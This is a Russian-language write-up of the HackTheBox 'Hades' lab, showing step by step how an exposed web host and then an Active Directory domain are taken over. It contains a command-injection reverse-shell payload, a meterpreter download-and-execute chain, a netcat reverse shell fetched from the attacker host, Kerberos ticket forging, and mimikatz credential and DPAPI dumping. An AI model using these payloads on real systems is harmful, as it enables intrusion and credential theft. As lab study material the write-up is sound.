Как взломать доступный хост а потом и весь домен

Как взломать доступный хост а потом и весь домен

В этой статье рассмотрим освоение не просто машины,  а целой мини-лаборатории с площадки HackTheBox.

Как сказано в описании, Hades предназначен для проверки навыков на всех этапах атак в небольшой среде Active Directory. Цель состоит в том, чтобы скомпрометировать доступный хост, повысить привилегии и, в конечном итоге, поставить под угрозу весь домен, собрав 7 флагов.

Как взломать доступный хост а потом и весь домен

Подключение к лаборатории осуществляется через VPN. Не рекомендуется подключаться с рабочего компьютера или с хоста, на котором есть важные для вас данные, поскольку вы находитесь в частной сети с людьми, которые кое-что знают об информационной безопасности.

Вся информация предоставлена ​​только в образовательных целях. Автор этого документа не несет ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных при изучении этого документа.

Intro

Данный endgame состоит из 3 машин, и содержит 7 флагов.

1. Chasm flag — RCE (command injection) + Initial Access;
2. Guardian flag — Enumeration + ASREP Roasting;
3. Messenger flag — Printer Bug + Silver Ticket + Service Control
4. Resurrection flag — Creds Access and Dumping
5. Gateway flag — BloodHound + Control account
6. Celestial flag — ADIDNS + Responder
7. Dominion flag — Lateral Movement

Как взломать доступный хост а потом и весь домен

Так же дается описание и адрес доступного хоста.

Как взломать доступный хост а потом и весь домен

Chasm flag

Данная машина имеет IP адрес 10.13.38.16, который я добавляю в /etc/hosts.

10.13.38.16 hades.htb

Первым делом сканируем открытые порты. Для этого я использую следующий скрипт, который проведет сканирование со скоростью 500 пакетов в секунду с помощью nmap, и определит отвечающие порты, после чего мы используем для этих портов встроенные скрипты nmap (опция -А).

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Как взломать доступный хост а потом и весь домен

И у нас открыт только 443 порт, отвечающий за соединение по протоколу HTTPS. Осмотревшись на сайте, отметим только домен gigantichosting.com и интересный сервис “Certificate Checker”.

Как взломать доступный хост а потом и весь домен

Данный сервис просит указать IP адрес, причем происходит вывод (скорее всего) из командной строки. Давайте откроем у себя порт c использованием SSL и посмотрим входящий запрос. Для этого запустим ncat и обратимся к своему IP.

Как взломать доступный хост а потом и весь домен

Давайте проверим, используется ли командная строка. Для этого в обращении к директории на нашем сервере вставим вложенную команду.

10.14.14.4:554/$(whoami)

Как взломать доступный хост а потом и весь домен

И получаем имя пользователя, значит присутствует OS Command Injection! Давайте попробуем кинуть реверс шелл. Для этого будем использовать простой bash reverse-shell:

bash -i >& /dev/tcp/10.14.14.4/4321 0>&1

Но чтобы избежать неудобных символов, закодируем его в base64.

На стороне сервера нужно будет выполнить команду декодирования и передачи вывода в bash. При этом, вместо пробелов будем использовать конструкцию ${IFS}.

echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xNC4xNC40LzQzMjEgMD4mMQo=|base64${IFS}-d|bash

Давайте откроем порт для прослушивания и выполним запрос.

10.13.38.16/$(echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xNC4xNC40LzQzMjEgMD4mMQo=|base64${IFS}-d|bash)

Как взломать доступный хост а потом и весь домен

Таким образом, мы получаем бэкконнект. Но так как это лаборатория и шелл нестабильный, давайте напишем скрипт, запуская который мы будем легко создавать новый бэкконнект (это лишь для удобства). Все необходимые для этого данные возьмем из браузера.

Как взломать доступный хост а потом и весь домен

Создадим python скрипт.

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

payload = "10.13.38.16/$(echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xNC4xNC40LzQzMjEgMD4mMQo=|base64${IFS}-d|bash)"
params = {'name': payload}
response = requests.post(url='https://10.13.38.16/ssltools/certificate.php', data=params, verify=False)

А теперь попробуем в качестве нагрузки использовать meterpreter. Давайте сначала сгенерируем пэйлоад.

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.14.14.4 LPORT=4321 -f elf -o r.elf

Как взломать доступный хост а потом и весь домен

Теперь используем конструкцию следующего вида. Мы кодируем наш файл в base64.

На стороне сервера, это нужно будет декодировать и записать в файл, после чего присвоить право на исполнение и выполнить. Все три действия еще раз кодируем в base64, таким образом нагрузка будет удовлетворять условиям нашего эксплоита.

echo "echo $(base64 -w0 r.elf) | base64 -d > /tmp/r ; chmod +x /tmp/r ; exec /tmp/r" | base64 -w0 ; echo

Вставляем данную строку, вместо base64 строки нашей нагрузки в python коде. Далее необходимо запустить листенер.

handler -p linux/x64/meterpreter/reverse_tcp -H 10.14.14.4 -P 4321

И давайте выполним наш эксплоит. Мы сразу увидим активное подключение в окне Metasploit — быстро и удобно.

Как взломать доступный хост а потом и весь домен

 

И сразу в текущей директории находим первый флаг.

Как взломать доступный хост а потом и весь домен

Таким образом, мы получаем точку опоры на первом хосте.

Guardian flag

Первым делом, перечислим систему, на которую мы попали. Я использую LinPEAS.

Как взломать доступный хост а потом и весь домен

Из вывода мы узнаем, что находимся в докер контейнере.

Как взломать доступный хост а потом и весь домен

Так же находим еще один хост — 192.168.99.1.

Как взломать доступный хост а потом и весь домен

Посмотрим информацию о сетевых интерфейсах.

И в своей сети находим еще один хост.

Как взломать доступный хост а потом и весь домен

Так как на хосте не было средств сканирования, скачаем скомпилированный с зависимостями nmap здесь и загрузим его на хост.

Как взломать доступный хост а потом и весь домен

Далее просканируем два найденных хоста.

Как взломать доступный хост а потом и весь домен

Как взломать доступный хост а потом и весь домен

Переходя к порту 443 на 192.168.99.1, мы получаем уже знакомый сайт, с которого был сделан вывод, что докер был развернут на 192.168.99.1. Так как на этом хосте больше ничего интересного не нашлось, я перешел на 172.17.0.1. Так как порт 443 там ответил знакомым сайтом, это тот же докер. И мы успешно подключаемся через ssh с учетными данными по умолчанию (docker: tcuser). И сразу переходим к пользователю root.

shell python3 -c 'import pty;pty.spawn("/bin/bash")' ssh docker@172.17.0.1

Как взломать доступный хост а потом и весь домен

Ничего не обнаружив, перейдем к последнему варианту — это мониторинг запущенных процессов и трафика. Скопируем собранные pspy и tcpdump на хост. В процессах нет ничего интересного, но в трафике каждые 5 секунд мы обнаруживаем три неизвестных хоста в подсети 192.168.3.0/24.

Как взломать доступный хост а потом и весь домен

Вернувшись к первому докеру просканируем подсеть, чтобы найти все хосты. Но находим всего один хост.

/tmp/nmap -sn 192.168.3.0/24

Как взломать доступный хост а потом и весь домен

Предположительно работает брэндмауэр, поэтому снова сканируем всю сеть без пинга (-Pn) на наличие частых известных открытых портов.

/tmp/nmap -Pn 192.168.3.0/24 -p53,80,135,139,443,445

Как взломать доступный хост а потом и весь домен

И находим три хоста (как и сказано в описании к лаборатории). Давайте просканируем порты на этих хостах.

/tmp/nmap -Pn 192.168.3.201-203

Как взломать доступный хост а потом и весь домен

Итак, мы определили службы, и теперь мы собираемся создать туннель во внутреннюю сеть. Нам нужно маршрутизировать в сеть 192.168.3.0/24. Мы укажем это в модуле Autoroute, а затем проверим, что маршрут был успешно создан.

run autoroute -s 192.168.3.0/24

run autoroute -p

Как взломать доступный хост а потом и весь домен

Теперь давайте настроим перенаправитель — socks4 прокси-сервер. За это отвечает модуль auxiliary/server/socks4a.

Как взломать доступный хост а потом и весь домен

И чтобы мы могли использовать любое приложение с данным прокси, настроим proxychains. Для этого изменим файл конфигурации /etc/proxychains.conf.

Как взломать доступный хост а потом и весь домен

Теперь мы можем перенаправить трафик любого приложения во внутреннюю сеть, указав proxychains -q. Так как везде доступно SMB, давайте посмотрим версии операционных систем и имена машин с помощью CrackMapExec.

proxychains -q cme smb 192.168.3.201-203

Как взломать доступный хост а потом и весь домен

Давайте добавим данные записи в /etc/hosts.

192.168.3.201 dev.htb.local

192.168.3.202 web.htb.local

192.168.3.203 dc1.htb.local

После попытки подключиться к разным сервисам ничего не вышло. Но можно пройти по именам пользователей с помощью атаки ASREP Roasting. Дело в том, что мы можем запросить ключ (ключ AS) определенного пользователя kerberos, который будет зашифрован с использованием пароля этого пользователя. И если в учетной записи UAC установлен флаг DONT_REQ_PREAUTH (предварительная аутентификация Kerberos не требуется), сервер вернет нам ключ. Но дело в том, что сервер различает ответ «этот флаг не установлен» и «аккаунт не существует». Затем мы можем перечислить имена пользователей, и если они сообщат нам, что флаг не установлен, мы сделаем вывод, что такая учетная запись существует. Это можно сделать с помощью инструмента GetNPUser, входящего в пакет impacket. Мы используем Username / names.txt из набора SecLists в качестве словаря.

proxychains -q GetNPUsers.py htb.local/ -dc-ip dc1.htb.local -k -no-pass -usersfile ./names.txt

| grep -v "Client not found in Kerberos database"

Как взломать доступный хост а потом и весь домен

Как же я был удивлен, когда нам вернули ключ пользователя bob (не ожидал)! Плюс ко всему мы нашли еще двух пользователей kalle и lee. Так как ключ зашифрован на пароле пользователя, мы можем его пробрутить.

john --wordlist=./tools/rockyou.txt bob.hash

Как взломать доступный хост а потом и весь домен

И мы получаем первую учетную запись! Теперь нужно снова проверить все службы с имеющимися у нас учетными записями. Начнем с общих ресурсов.

proxychains -q cme smb 192.168.3.201-203 -u bob -p "Passw0rd1!" --shares

Как взломать доступный хост а потом и весь домен

И у нас есть доступ к некоторым директория на контроллере домена. Давайте рекурсивно отобразим содержимое всех директорий.

proxychains -q smbmap -d htb.local -u bob -p "Passw0rd1!" -H 192.168.3.203 -R

Как взломать доступный хост а потом и весь домен

И видим ожидающий нас флаг, что означает еще один пройденный этап. Давайте заберем его.

proxychains -q smbclient.py 'htb.local/bob:Passw0rd1!@192.168.3.203'

Как взломать доступный хост а потом и весь домен

Messenger flag

Так как у нас есть учетные данные пользователя, давайте получим информацию о домене.

enum4linux -u bob -p 'Passw0rd1!' -a 10.10.10.192 2>/dev/null

Как взломать доступный хост а потом и весь домен

И мы получаем список пользователей, членство их в группах и парольную политику домена. Немного посмотрев дальнейшие векторы атаки, я наткнулся на Printer Bug.

proxychains -q rpcdump.py 'htb.local/bob:Passw0rd1!@dc1.htb.local' | grep MS-RPRN

proxychains -q rpcdump.py 'htb.local/bob:Passw0rd1!@web.htb.local' | grep MS-RPRN

proxychains -q rpcdump.py 'htb.local/bob:Passw0rd1!@dev.htb.local' | grep MS-RPRN

Если существует двустороннее доверие, злоумышленник может использовать ошибку принтера MS-RPRN в домене, чтобы скомпрометировать машину, для которой активно «неограниченное делегирование». Ошибка приводит к тому, что злоумышленник получает информацию для аутентификации, то есть хэш NTLMv1 учетной записи компьютера.

NTLMv1 хеш позволит нам получить ключ NTLM хеш учетной записи, что даст нам возможность выполнить Pass-The-Hash. Для данной атаки импользуем dementor (или printerbug) и эту инструкцию. Активируем Responder, чтобы отлавливать NTLMv1 хеш.

sudo responder -I tun0 --lm

И выполняем атаку (приведу и dementor и printerbug):

proxychains -q python dementor.py -d htb.local -u bob -p 'Passw0rd1!' 10.14.14.4 192.168.3.201

proxychains -q python printerbug.py 'htb.local/bob:Passw0rd1!@dev.htb.local' 10.14.14.4

И в окне респондера получаем желаемый хеш.

Нам нужно конвертировать его в NTLM хеш.

python ntlmv1.py --ntlmv1 DEV$::HTB:D1B8C9047B85C2EAF86329F9B170C1995C9DBC0527CA0413:D1B8C9047B85C2EAF86329F9B170C1995C9DBC0527CA0413:c2f1c6d70a6f5ff9

И тут возникли проблемы. Поскольку просмотр ключей DES займет около 150 дней, и я не хотел платить за ресурс crack.sh, но был один человек, который поделился хешем, уже полученным с помощью crack.sh: 4a0cfb13364ac41247295dd31e1b70be.

Давайте создадим Silver Ticket Kerberos для службы CIFS. Для этого нам понадобится хэш учетной записи, SID домена, сам домен и имя любого (даже фиктивного пользователя). После создания экспортируем билет.

proxychains -q ticketer.py -nthash 4a0cfb13364ac41247295dd31e1b70be -domain-sid S-1-5-21-4266912945-3985045794-2943778634 -domain htb.local -spn cifs/192.168.3.201 ralf export KRB5CCNAME=ralf.ccache

И мы можем управлять службами с помощью services.py из пакета impacket. Давайте создадим такую службу, которая будет загружать netcat с нашего хоста и выполнять реверс подключение.

proxychains -q services.py -dc-ip 192.168.3.203 -k -no-pass 192.168.3.201 create -name task10 -display task10 -path 'curl http://10.14.14.7/nc64.exe -o C:\\Temp\\nc.exe'

Проверим конфигурации созданной службы.

proxychains -q services.py -dc-ip 192.168.3.203 -k -no-pass 192.168.3.201 config -name task10

Запустим ее.

proxychains -q services.py -dc-ip 192.168.3.203 -k -no-pass 192.168.3.201 start -name task10

Хоть нам и сообщают об ошибке, но в окне веб-сервера видим удачное подключение.

proxychains -q services.py -dc-ip 192.168.3.203 -k -no-pass 192.168.3.201 create -name task11 -display task11 -path 'C:\\Temp\\nc.exe -e cmd.exe 10.14.14.7 6543'

proxychains -q services.py -dc-ip 192.168.3.203 -k -no-pass 192.168.3.201 start -name task11

В листенере наблюдаем успешное подключение.

Таким образом мы захватываем первую из трех целевых машин.

Resurrection flag

Но поскольку это еще не конец, вам нужно закрепиться на машине, для которой вам нужно получить хотя бы несколько рекомендаций. Поскольку мы работаем как локальный администратор, нам нужны только хеши, но такие инструменты, как mimikatz и meterpreter, блокируются антивирусной программой. Чтобы не показывать вам, как по очевидным причинам шифровать полезные данные, я использую простую рабочую нагрузку Cobalt Strike без каких-либо модификаций. Сначала запустим сервер и подключимся к нему.

Теперь необходимо создать листенер.

Как взломать доступный хост а потом и весь домен

Вот только сейчас для этого листенера мы собираем нагрузку powershell: Attacks -> Packages -> Payload Generator.

Теперь на целевом хосте перейдем в powershell, скачаем нагрузку и выполним ее.

В окне Cobalt Strike наблюдаем активный сеанс, причем молнии свидетельствуют, что у нас имеются права администратора.

Cobalt принимает все команды в потоке, но по умолчанию связь с сервером происходит раз в минуту, поэтому команды попадают в очередь выполнения. Чтобы обмен данными происходил мгновенно и команды выполнялись потоком, мы вставляем команду sleep 0 и затем сбрасываем хэши.

Ну и в случае чего, мы можем подключиться к хосту через WinRM.

proxychains -q evil-winrm -i dev.htb.local -u Administrator -H 67bb396c79f56301b7dc5d219cc85d86

Ну а мы уже продолжим в Cobalt Strike. Для того, чтобы прочно закрепиться на хосте, давайте выполним инъекцию новой нагрузки в процесс, работающий от имени System. Я выбрал winlogon.exe.

Как взломать доступный хост а потом и весь домен

Как можно наблюдать, мы также работаем в контексте System. Чтобы остальные машины домена появились в списке целей Cobalt, давайте выполним сканирование.

 

И в добавок ко всему, давайте просканируем порты на двух новых хостах, чтобы информация сохранилась в базе Cobalt Strike.

Как взломать доступный хост а потом и весь домен

Как взломать доступный хост а потом и весь домен

Хост 192.168.3.201 может быть удален из списка, поскольку мы уже записали его, но он упоминается как 10.13.38.17. Проведя разведку на хосте, больше не за что было держаться. Была идея посмотреть хранилище учетных данных для восстановления сохраненных учетных данных, но оба хранилища были пусты.

shell vaultcmd /list

shell vaultcmd /listcreds:"Web Credentials"

shell vaultcmd /listcreds:"Windows Credentials"

Как взломать доступный хост а потом и весь домен

В конце концов я дошел до пункта “теневые копии” в своем чеклисте. И тут как раз в точку.

Как взломать доступный хост а потом и весь домен

Как взломать доступный хост а потом и весь домен

Давайте восстановим учетные данные из файла SAM теневой копии, для этого используем встроенный mimikatz.

mimikatz lsadump::sam /system:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\system32\config\SYSTEM /sam:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\system32\config\SAM

Как взломать доступный хост а потом и весь домен

Пароль администратора легко находим в онлайн базах.

Но и этот пароль для передвижения по сети нигде не подходит. И тогда возникла идея посмотреть те же сохраненные учетные данные в хранилище Windows. Так как мы знаем пароль админа, то его хранилище мы и будем смотреть. На эту тему я уже писал статью.

Как взломать доступный хост а потом и весь домен

Зашифрованные данные расположены по следующему пути: \AppData\Roaming\Microsoft\Credentials\. И мы находим два сохраненных значения.

Но для расшифрования нам нужно узнать мастер ключи обоих хранилищ, найти их можно тут: \AppData\Roaming\Microsoft\Protect\\.

Вся дальнейшая работа по восстановлению данных будет производится с помощью mimikatz. Давайте получим мастер ключ (повезло, он был в первом хранилище).

mimikatz dpapi::masterkey /in:"\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Users\Administrator\AppData\Roaming\Microsoft\Protect\S-1-5-21-4124311166-4116374192-336467615-500\87790867-a883-4a2d-a467-019c315e1104" /password:"./*40ra26AZ"

Как взломать доступный хост а потом и весь домен

А теперь расшифруем учетный данные.

mimikatz dpapi::cred /in:"\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Users\Administrator\AppData\Roaming\Microsoft\Credentials\1A2572C793495F694F64823A392D4718" /masterkey:"e0b92cbfbeab126231d979377ffd236b2ebd4b0704e2e9229d3ce82bebd144173b9f7160315d5af62289fae50a1fd465100aaf36748b68557e2b05edc25ac4fe"

mimikatz dpapi::cred /in:"\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Users\Administrator\AppData\Roaming\Microsoft\Credentials\4A2EEB30EFC7958491B6578D9948EC7F" /masterkey:"e0b92cbfbeab126231d979377ffd236b2ebd4b0704e2e9229d3ce82bebd144173b9f7160315d5af62289fae50a1fd465100aaf36748b68557e2b05edc25ac4fe"

Мы получаем флаг, как факт того, что движемся в верном направлении и учетные данные доменного пользователя службы.

Gateway flag

Для удобства, добавим имеющиеся учетные данные в базу Cobalt Strike.

Теперь, давайте проведем разведку с помощью BloodHound, благо Cobalt позволяет запустить его из памяти.

execute-assembly /home/ralf/tmp/SharpHound.exe -d htb.local --domaincontroller 192.168.3.203 --ldapusername test-svc --ldappassword T3st-S3v!ce-F0r-Pr0d

Вся информация успешно собрана и записана в указанный архив. Давайте скачаем его.

Чтобы посмотреть граф, сначала запустим СУБД Neo4j, а потом bloodhound.

И мы получим следующий граф.

Как взломать доступный хост а потом и весь домен

Набираем в поиске своего пользователя и смотрим, что мы имеем, в итоге обнаружим право GenericAll для хоста WEB.

Как взломать доступный хост а потом и весь домен

Мы даже можем получить инструкцию по дальнейшей эксплуатации.ы даже можем получить инструкцию по дальнейшей эксплуатации.

Как взломать доступный хост а потом и весь домен

Нам понадобятся следующие инструменты: PowerViewPowermad и Rubeus.

Первым делом нужно добавить импортировать Powermad и с помощью powerpick добавить новую учетную запись компьютера.

New-MachineAccount -MachineAccount RalfPC -Password $(ConvertTo-SecureString 'RalfRalf!23' -AsPlainText -Force)

Теперь нам нужно узнать идентификатор безопасности новой учетной записи. Дальше нам нужен модуль Powerview.

Get-DomainComputer RalfPC

Как взломать доступный хост а потом и весь домен

Далее создадим объект учетных данных известного нам пользователя test-svc, чтобы выполнять команды от его имени.

$TestSvcPass = ConvertTo-SecureString 'T3st-S3v!ce-F0r-Pr0d' -AsPlainText -Force $TestSvcCred = New-Object System.Management.Automation.PSCredential('htb.local\test-svc', $TestSvcPass)

Давайте получим список избирательного управления доступом DACL нашей созданной ученой записи.

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-4266912945-3985045794-2943778634-14605)" $SDBytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDBytes, 0)

А теперь установим полученный DACL в поле msDS-AllowedToActOnBehalfOfOtherIdentity атакуемой нами машины.

Get-DomainComputer WEB | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Credential $TestSvcCred

В Cobalt выполним все эти команды за один раз.

Давайте проверим, что данное свойство установилось. Как можно наблюдать, SID соответствует SID’у созданной нами учетной записи.

$RawBytes = Get-DomainComputer WEB -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity $Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0 $Descriptor.DiscretionaryAcl

Как взломать доступный хост а потом и весь домен

Теперь получим хеш пароля с помощью Rubeus, который мы выполним также в памяти.

execute-assembly /home/ralf/tmp/Rubeus.exe hash /password:RalfRalf!23

Как взломать доступный хост а потом и весь домен

Теперь нужно имперсонировать тикет для пользователя iis-svc (по логике из вывода bloodhound). Но это ни к чему не приведет. Потратив много времени на разбор, участник сообщества досказал перепробовать всех известных пользователей (и для мы не получили код ответа 401 при обращении к ресурсу).

execute-assembly /home/ralf/tmp/Rubeus.exe s4u /user:RalfPC$ /rc4:4F2B5337B6E879AAE4FB0C15C57A8E9F /impersonateuser:lee /msdsspn:http/web.htb.local /ptt

Как взломать доступный хост а потом и весь домен

Проверим локальное хранилище билетов и обнаружим там только что импортированный.

Как взломать доступный хост а потом и весь домен

Проверим доступ к веб сервису.

$(Invoke-WebRequest -UseBasicParsing -UseDefaultCredentials http://web.htb.local).StatusCode

Успешно! Далее я решил сохранить html файл, скачать его на локальную машину и посмотреть.

powerpick Invoke-WebRequest -UseBasicParsing -UseDefaultCredentials -Uri "http://web.htb.local" -OutFile "C:\tmp\1.html" download 1.html

Как взломать доступный хост а потом и весь домен

Добавим эти учетные данные в хранилище данных.

Попробуем расширить сеть, поскольку WinRM открыт на компьютере, мы собираемся его использовать. Заходим в список направлений, выбираем нужный нам хост и через контекстное меню открываем дополнительное окно -> Goto -> winrm64. Выберите remote_user из списка и создайте новый прослушиватель SMB.

И после подключения видим новую захваченную машину, правда без прав админа.

Как взломать доступный хост а потом и весь домен

И как знак пройденного этапа, забираем еще один флаг.

Как взломать доступный хост а потом и весь домен

Celestial flag

Проведя некоторую разведку на хосте остановимся на списке установленного программного обеспечения. Получить его можно из реестра.

Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | Format-Table –AutoSize

Здесь особо привлекают две первые позиции, а именно, имеем следующие два вектора атаки: поиск и работа с хранилищем KeePass или просмотр трафика. Но хранилище мы не находим, но вот нашему пользователю доступен Wireshark.

Давайте создадим дамп трафика с помощью tshark.

tshark.exe -i Ethernet0 -b filesize:10000 -w C:\Users\remote_user.HTB\Documents\snif.pcap

Мы не нашли никаких учетных данных, поэтому давайте углубимся в анализ и откроем этот файл в Wireshark на локальном компьютере. Мы нашли обращение к трем интересным доменам. Но по ним нет никаких записей.

Как взломать доступный хост а потом и весь домен

Дело в том, что по умолчанию, любой аутентифицированный пользователь может добавить DNS запись. Давайте проверим DACL. Предварительно загрузим powershell скрипт PowerMad. И запросим имеющиеся зоны и разрешения для ADIDNS.

Как взломать доступный хост а потом и весь домен

Как можно увидеть, все пользователи имеют право создать запись. Давайте это и сделаем с помощью Invoke-DNSUpdate. Укажем свой IP в качестве целевого.

Invoke-DNSupdate -DNSType A -DNSName db1 -DNSData 10.14.14.5 -Verbose

Атака выполнена успешно. Проверим это.

Nslookup db1.htb.local 192.168.3.203

Eсть нужная нам запись. Теперь активируем респондер и ловим хеш.

sudo responder -I tun0 -wrf

Давайте перебирать данный хеш.

hashcat -m 5600 hashes.txt ./tools/rockyou.txt -r /usr/share/hashcat/rules/d3ad0ne.rule -debug-mode=1 -debug-file=rule.txt -d 1

У нас есть пароль администратора. Попробуем использовать его для подключения. Как всегда, мы сначала добавляем в хранилище учетных данных, затем создаем еще один SMB Beacon и подключаемся к веб-узлу через psexec64.

Как взломать доступный хост а потом и весь домен

Наша карта атаки будет похожа на рисунок ниже, при этом мы работаем в контексте SYSTEM.

Как взломать доступный хост а потом и весь домен

Забираем флаг администратора, как подтверждение еще одного пройденного этапа.

Как взломать доступный хост а потом и весь домен

Dominion flag

Тут я вернулся к keepass. Найдем все, что его касается.

powerpick Get-ChildItem -Path C:\Users\ -Include @("*kee*", "*.kdb*") -force -Recurse -ErrorAction SilentlyContinue | Select-Object -Expand FullName

Мы найдем два конфига: у Администратора и пользователя.

Как взломать доступный хост а потом и весь домен

В файле пользователя находим упоминание о базе kdbx, которая отсутствует.

Как взломать доступный хост а потом и весь домен

Поэтому в охоте за учетными данными мы снова используем mimikatz, а именно успех приносит модуль lsadump::secrets.

Как взломать доступный хост а потом и весь домен

Но что я не попробавл сразу, так это пароль локального администратора для других пользователей. Создав новый SMB Beacon, подключимся с помощью winrm64 как администратор к контроллеру домена.

Как взломать доступный хост а потом и весь домен

Забираем последний флаг.

Как взломать доступный хост а потом и весь домен

Вот и вся работа по компрометации всего домена и доступного хоста. Все не так уж сложно не правда ли? Хочу еще раз напомнить что статья создана для тех кто занимается ИБ.Ведь если ты знаешь способы нападения то намного легче определить способ защиты.По крайней мере так работают все современные антивирусы.

 

 

 

 

Click to rate this post!
[Total: 1 Average: 5]

Leave a reply:

Your email address will not be published.